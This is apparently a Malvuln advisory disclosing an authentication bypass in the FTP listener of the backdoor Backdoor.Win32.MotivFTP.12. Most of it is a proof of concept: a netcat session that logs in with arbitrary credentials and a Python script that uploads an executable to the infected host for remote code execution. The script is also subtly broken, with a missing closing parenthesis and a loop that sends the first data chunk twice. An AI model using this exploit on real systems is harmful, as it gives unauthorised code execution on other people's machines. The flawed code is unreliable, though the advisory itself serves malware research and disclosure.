Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/88785a093b8fa00893214dd220ac255d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MotivFTP.12
Vulnerability: Authentication Bypass RCE 
Description: The malware listens on TCP port 21. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution. 
Type: PE32
MD5: 88785a093b8fa00893214dd220ac255d
Vuln ID: MVID-2021-0203 
Disclosure: 05/07/2021

Exploit/PoC:
1) logon as any user

nc64.exe 192.168.88.127 21
220 FTP Server ready
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,88,127,195,34).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


2) calculate port and run upload script

from socket import *

MALWARE_HOST="192.168.88.127"
PORT=49954
DOOM="DOOM.exe"   #Calculate the port 195*256+34 = 49954

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE")
    print("MD5: 88785a093b8fa00893214dd220ac255d"
    print("By Malvuln");

if __name__=="__main__":
    doit()


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